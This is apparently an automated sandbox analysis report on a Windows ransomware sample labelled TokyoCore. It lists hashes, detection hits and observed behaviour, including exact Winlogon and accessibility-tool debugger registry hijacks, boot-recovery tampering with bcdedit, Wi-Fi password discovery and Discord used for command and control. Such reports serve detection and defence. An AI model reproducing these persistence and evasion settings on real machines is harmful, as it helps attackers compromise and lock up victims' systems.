tokyocore | 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc

Resubmissions

07/08/2026, 13:53

260807-q69b9awhpc10

31/07/2026, 15:57

260731-teb48ada2710

15/07/2026, 04:07

260715-ep1s1ad13s10

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 15:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Size 3.3MB
Sample260731-teb48ada27
SHA256 386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc
MD5 d77aa7f5bf7c008232f4cbec127c30db
SHA1 3701617822f99debbf2579602b32eb99034581ad
SHA512 dca182637bcc510cfba855040df4f422c30b7c42af48351281534fde1804341bb7359d3c0e61c3cde8085273c1ad8387e248ab49bb92fce3724aa96c9a4615c9
SSDEEP 24576:i7MuEwvKJEdcI63li+WsOxP5g2IvMJJHfO2NprH2K:sMupsvBWsOxPVZJWEzP
TLSH
T12EF5D91BF7B610D5E1BAC039D553622AFC7134A6833C97EB92818E491B60BE4EE3D750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution tokyocore persistence ransomware

Malware Config

Signatures

Family: TokyoCore
TokyoCore is a Windows ransomware written in C++.
ransomware tokyocore

Detects TokyoCore 42 IoCs

resource	yara_rule
behavioral1/memory/540-2-0x00007FF6E33A0000-0x00007FF6E3827000-memory.dmp	family_tokyocore
behavioral1/files/0x001800000001db66-5.dat	family_tokyocore
behavioral1/memory/1492-8-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/60-10-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1288-12-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1276-14-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1288-15-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/2600-17-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1060-20-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/540-19-0x00007FF6E33A0000-0x00007FF6E3827000-memory.dmp	family_tokyocore
behavioral1/memory/1492-22-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/3944-26-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1392-25-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/4164-34-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/4156-35-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/996-36-0x00007FF6E33A0000-0x00007FF6E3827000-memory.dmp	family_tokyocore
behavioral1/memory/4156-32-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1392-23-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1276-38-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1196-39-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1060-49-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/4128-51-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/2860-52-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/3944-59-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1184-61-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/4164-62-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/996-63-0x00007FF6E33A0000-0x00007FF6E3827000-memory.dmp	family_tokyocore
behavioral1/memory/1196-76-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/4128-84-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/3324-80-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5608-86-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1184-97-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/3324-145-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5608-169-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1644-173-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5964-176-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/1644-175-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/2012-215-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/2012-221-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5836-220-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5964-234-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore
behavioral1/memory/5836-257-0x00007FF7E2F70000-0x00007FF7E33F7000-memory.dmp	family_tokyocore

Modifies WinLogon for persistence 2 TTPs 8 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\fsociety.exe,C:\\Windows\\System32\\userinit.exe,"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\system32\\fsociety.exe,explorer.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Modifies boot configuration data using bcdedit 1 TTPs 9 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2624	bcdedit.exe
1372	bcdedit.exe
3912	bcdedit.exe
1100	bcdedit.exe
6904	bcdedit.exe
5456	bcdedit.exe
7456	bcdedit.exe
7704	bcdedit.exe
5688	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6420	powershell.exe
5404	powershell.exe
4940	powershell.exe
5332	powershell.exe
1588	powershell.exe
7072	powershell.exe
7208	powershell.exe
7176	powershell.exe
1028	powershell.exe
2628	powershell.exe
5540	powershell.exe
7416	powershell.exe
7688	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 25 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\Debugger = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
1492	fsociety.exe
60	fsociety.exe
1288	fsociety.exe
1276	fsociety.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 10 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
117	discord.com
152	discord.com
9	discord.com
15	discord.com
27	discord.com
86	discord.com
94	discord.com
144	discord.com
10	discord.com
67	discord.com

Modifies WinLogon 2 TTPs 16 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL = "C:\\Windows\\system32\\fsociety.exe"	fsociety.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DisableCAD = "1"	fsociety.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon = "1"	fsociety.exe

Drops file in System32 directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File opened for modification	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File created	C:\Windows\system32\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\csrss.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	fsociety.exe
File opened for modification	C:\Windows\system32\fsociety.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\system32\dwm.exe	fsociety.exe
File created	C:\Windows\system32\fsociety.exe	fsociety.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e5892a6\dwm.exe	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e589759\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e5897e6\dwm.exe	fsociety.exe
File created	C:\Windows\WinSxS\x86_microsoft-windows-dwm_31bf3856ad364e35_10.0.19041.1_none_0e58a0fe\dwm.exe	fsociety.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2396	sc.exe
1488	sc.exe
4792	sc.exe
984	sc.exe
2916	sc.exe
1180	sc.exe
4920	sc.exe
2536	sc.exe
5248	sc.exe
3636	sc.exe
3516	sc.exe
5560	sc.exe
5512	sc.exe
6624	sc.exe
7440	sc.exe
4184	sc.exe
5032	sc.exe
6168	sc.exe
6768	sc.exe
6788	sc.exe
7048	sc.exe
5508	sc.exe
4768	sc.exe
4884	sc.exe
6940	sc.exe
5452	sc.exe
2372	sc.exe
5616	sc.exe
5976	sc.exe
5536	sc.exe
5452	sc.exe
5432	sc.exe
6008	sc.exe
7820	sc.exe
1516	sc.exe
2540	sc.exe
3544	sc.exe
816	sc.exe
5344	sc.exe
2980	sc.exe
3256	sc.exe
560	sc.exe
4940	sc.exe
3660	sc.exe
6120	sc.exe
6484	sc.exe
6696	sc.exe
692	sc.exe
4580	sc.exe
880	sc.exe
5480	sc.exe
6732	sc.exe
5512	sc.exe
6448	sc.exe
6400	sc.exe
3140	sc.exe
1936	sc.exe
2760	sc.exe
1180	sc.exe
5540	sc.exe
6408	sc.exe
4456	sc.exe
1972	sc.exe
2836	sc.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5288	cmd.exe
3544	cmd.exe
4832	cmd.exe
2980	cmd.exe
7348	cmd.exe
8184	cmd.exe
2344	cmd.exe
3236	cmd.exe
5580	cmd.exe
6440	cmd.exe
6852	cmd.exe
5432	cmd.exe
4604	cmd.exe
6992	cmd.exe
6496	cmd.exe
5020	cmd.exe
1800	cmd.exe
5692	cmd.exe
3036	cmd.exe
3268	cmd.exe
5472	cmd.exe
2872	cmd.exe
6172	cmd.exe
5456	cmd.exe
4892	cmd.exe
6764	cmd.exe
5376	cmd.exe
7972	cmd.exe
7636	cmd.exe
3812	cmd.exe
4800	cmd.exe
1080	cmd.exe
1464	cmd.exe
4972	cmd.exe
4004	cmd.exe
1612	cmd.exe
4440	cmd.exe
1864	cmd.exe
6076	cmd.exe
5336	cmd.exe
1236	cmd.exe
6068	cmd.exe
5724	cmd.exe
5736	cmd.exe
7876	cmd.exe
1224	cmd.exe
5604	cmd.exe
3908	cmd.exe
4984	cmd.exe
6308	cmd.exe
4752	cmd.exe
5104	cmd.exe
4860	cmd.exe
4480	cmd.exe
6508	cmd.exe
1132	cmd.exe
3800	cmd.exe
2324	cmd.exe
6500	cmd.exe
6724	cmd.exe
1676	cmd.exe
7064	cmd.exe
6168	cmd.exe
1592	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 14 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4792	cmd.exe
8176	cmd.exe
5680	netsh.exe
4676	netsh.exe
6004	netsh.exe
5772	cmd.exe
7124	netsh.exe
1308	netsh.exe
6988	netsh.exe
7308	cmd.exe
6140	cmd.exe
2912	cmd.exe
1488	netsh.exe
6496	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 51 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6544	schtasks.exe
7460	schtasks.exe
6864	schtasks.exe
5300	schtasks.exe
6592	schtasks.exe
7724	schtasks.exe
5344	schtasks.exe
2444	schtasks.exe
1708	schtasks.exe
7752	schtasks.exe
8140	schtasks.exe
1412	schtasks.exe
6216	schtasks.exe
6668	schtasks.exe
1700	schtasks.exe
6592	schtasks.exe
5924	schtasks.exe
896	schtasks.exe
3200	schtasks.exe
6160	schtasks.exe
5976	schtasks.exe
6872	schtasks.exe
4180	schtasks.exe
6204	schtasks.exe
1524	schtasks.exe
976	schtasks.exe
6500	schtasks.exe
6892	schtasks.exe
7140	schtasks.exe
6792	schtasks.exe
5276	schtasks.exe
7816	schtasks.exe
2876	schtasks.exe
3000	schtasks.exe
3468	schtasks.exe
4048	schtasks.exe
5284	schtasks.exe
6828	schtasks.exe
7308	schtasks.exe
7236	schtasks.exe
3544	schtasks.exe
4768	schtasks.exe
6236	schtasks.exe
3628	schtasks.exe
5768	schtasks.exe
2212	schtasks.exe
6504	schtasks.exe
3844	schtasks.exe
7792	schtasks.exe
2504	schtasks.exe
2536	schtasks.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 4892	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	84
PID 4892 wrote to memory of 3800	4892	cmd.exe	86
PID 540 wrote to memory of 4132	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	87
PID 4132 wrote to memory of 3456	4132	cmd.exe	89
PID 540 wrote to memory of 3304	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	90
PID 3304 wrote to memory of 4768	3304	cmd.exe	92
PID 540 wrote to memory of 3980	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	93
PID 3980 wrote to memory of 4184	3980	cmd.exe	95
PID 540 wrote to memory of 3624	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	98
PID 3624 wrote to memory of 1676	3624	cmd.exe	100
PID 540 wrote to memory of 3420	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	101
PID 3420 wrote to memory of 4252	3420	cmd.exe	103
PID 1492 wrote to memory of 4136	1492	fsociety.exe	105
PID 540 wrote to memory of 2360	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	108
PID 60 wrote to memory of 4836	60	fsociety.exe	110
PID 4136 wrote to memory of 692	4136	cmd.exe	197
PID 2360 wrote to memory of 3140	2360	cmd.exe	113
PID 4836 wrote to memory of 4156	4836	cmd.exe	114
PID 1492 wrote to memory of 4148	1492	fsociety.exe	115
PID 540 wrote to memory of 3368	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	117
PID 60 wrote to memory of 1628	60	fsociety.exe	119
PID 1628 wrote to memory of 3848	1628	cmd.exe	203
PID 4148 wrote to memory of 2212	4148	cmd.exe	122
PID 3368 wrote to memory of 4424	3368	cmd.exe	123
PID 60 wrote to memory of 3820	60	fsociety.exe	124
PID 1492 wrote to memory of 3676	1492	fsociety.exe	126
PID 3820 wrote to memory of 3724	3820	cmd.exe	128
PID 540 wrote to memory of 4720	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	129
PID 3676 wrote to memory of 4064	3676	cmd.exe	131
PID 1492 wrote to memory of 1404	1492	fsociety.exe	132
PID 60 wrote to memory of 4808	60	fsociety.exe	134
PID 4720 wrote to memory of 1940	4720	cmd.exe	136
PID 1404 wrote to memory of 2680	1404	cmd.exe	137
PID 540 wrote to memory of 5104	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	138
PID 4808 wrote to memory of 3536	4808	cmd.exe	140
PID 1492 wrote to memory of 3804	1492	fsociety.exe	141
PID 5104 wrote to memory of 3836	5104	cmd.exe	143
PID 3804 wrote to memory of 4432	3804	cmd.exe	144
PID 1492 wrote to memory of 3160	1492	fsociety.exe	145
PID 60 wrote to memory of 556	60	fsociety.exe	147
PID 540 wrote to memory of 4848	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	149
PID 556 wrote to memory of 4800	556	cmd.exe	307
PID 3160 wrote to memory of 4036	3160	cmd.exe	152
PID 60 wrote to memory of 2708	60	fsociety.exe	153
PID 4848 wrote to memory of 3256	4848	cmd.exe	236
PID 540 wrote to memory of 4688	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	156
PID 1492 wrote to memory of 2896	1492	fsociety.exe	157
PID 2708 wrote to memory of 5016	2708	cmd.exe	160
PID 2896 wrote to memory of 4636	2896	cmd.exe	161
PID 4688 wrote to memory of 4420	4688	cmd.exe	453
PID 60 wrote to memory of 4960	60	fsociety.exe	163
PID 540 wrote to memory of 4496	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	164
PID 1492 wrote to memory of 4232	1492	fsociety.exe	165
PID 4232 wrote to memory of 4520	4232	cmd.exe	169
PID 4496 wrote to memory of 2784	4496	cmd.exe	170
PID 1492 wrote to memory of 4600	1492	fsociety.exe	171
PID 540 wrote to memory of 2008	540	386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe	172
PID 4960 wrote to memory of 560	4960	cmd.exe	255
PID 4600 wrote to memory of 4884	4600	cmd.exe	176
